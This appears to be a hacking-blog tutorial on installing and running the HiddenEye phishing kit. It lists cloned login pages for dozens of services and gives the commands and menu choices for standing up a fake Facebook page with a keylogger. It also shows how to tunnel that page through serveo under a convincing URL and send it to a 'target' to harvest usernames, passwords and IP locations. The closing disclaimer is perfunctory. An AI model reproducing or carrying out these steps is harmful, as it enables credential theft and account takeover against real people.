
Traditional Netflix Login Page
18) Origin PHISHING:

Traditional Origin Login Page
19) Pinterest PHISHING:

Traditional Pinterest Login Page
20) Protonmail PHISHING:

Traditional Protonmail Login Page
21) Spotify PHISHING:

Traditional Spotify Login Page
22) Quora PHISHING:

Traditional Quora Login Page
23) PornHub PHISHING:

Traditional PornHub Login Page
24) Adobe PHISHING:

Traditional Adobe Login Page
25) Badoo PHISHING:

Traditional Badoo Login Page
26) CryptoCurrency PHISHING:

Traditional CryptoCurrency Login Page
27) DevianArt PHISHING:

Traditional DevianArt Login Page
28) DropBox PHISHING:

Traditional DropBox Login Page
29) eBay PHISHING:

Traditional eBay Login Page
30) MySpace PHISHING:

Traditional Myspace Login Page
31) PayPal PHISHING:

Traditional PayPal Login Page
32) Shopify PHISHING:

Traditional Shopify Login Page
33) Verizon PHISHING:

Traditional Verizon Login Page

34) Yandex PHISHING:

Traditional Yandex Login Page

35) Reddit PHISHING:

Old Login Page
New Login Page

as u see there is a lot of pages for you to use

how to install hidden eye

right lads first of we got to clone the file to are systems so open terminal and type
git clone https://github.com/DarkSecDevelopers/HiddenEye

or git clone https://github.com/Hackingariseofficial/HiddenEye

Hacking A Rise gitclonehiddeneye-300x152

Next we need to change are dir to hidden eye so type
cd HiddenEye

Hacking A Rise cdhiddeneye-300x68

now before we go on lets fix any errors that may show up so type
dpkg-reconfigure locales
Hacking A Rise dpkg-reconfigure-locales-300x34
and pip install urlopen
Hacking A Rise pipinstallurlopen-300x115

now that is done now we need to install the requirements we can do this but typing
pip3 install -r requirements.txt
Hacking A Rise pip3-install-r-requirements.txt-1-300x104

now that’s done we can run the python file named HiddenEye.py so type
python3 HiddenEye.py
Hacking A Rise pythonhiddeneye-300x21

now press y
Hacking A Rise pressyhiddeneye-300x87

now we can see all the sites that we can use just pick a number from 1 to 37
Hacking A Rise hiddeneyesite-300x213

im picking 1 for Facebook for this as its first one
Hacking A Rise pick1forfacebook-300x215

now it will ask you to pick
<1>standard page for phishing ,
<2>advanced phishing-poll ranking
<3>fake security
<4>messenger phishing
im picking 1 just for this
Hacking A Rise nowpick-the-method-u-wana-use-300x105

now it will as if u wanna add a key logger to the page
pick y
Hacking A Rise keyloger-300x162

now it will ask for the site u want it to redrecit to when the username and password is entered since we are using Facebook type facebook.com
Hacking A Rise redirect-site-300x182

now we need to set the ports u can pick any port u want
Hacking A Rise portshiddeneye-300x284

now we have choice to pick serveo or ngrok so pick serveo as it works better
Hacking A Rise serveoorngrok-253x300

now this the part u mite get confused u can make a random url or a custom one to make it more authentic
make sure to pic one
Hacking A Rise pick-urloptions-300x254

this we we make the url look real so type facebooklogin in here
Hacking A Rise makeurllookauthentic-300x179

now it will gave us the url facebooklogin.serveo.net
this the one we sen to the target
Hacking A Rise start-off-300x202

when the target clicks the link and signs in it will send us back there ip location and the user name and password
Hacking A Rise credsfromfacebook-300x162

there u have it lads and gals the facebook username and password

Final thoughts on hidden eye

there u have it lads the hidden eye i was shocked how good it is i know a lot my members in hacking a rise discord use it and say noting but good about it so gave it a go lads and see what u think and comment below
LAUGHINGMAN OUT
HACK THE PLANT LADS

disclamer

Dont be a dick head and use this to hack facebook accounts as its a-gen the law and morally wrong respect peoples private accounts as we take no responsibility for your actions in other works u do it and get found out its on you not me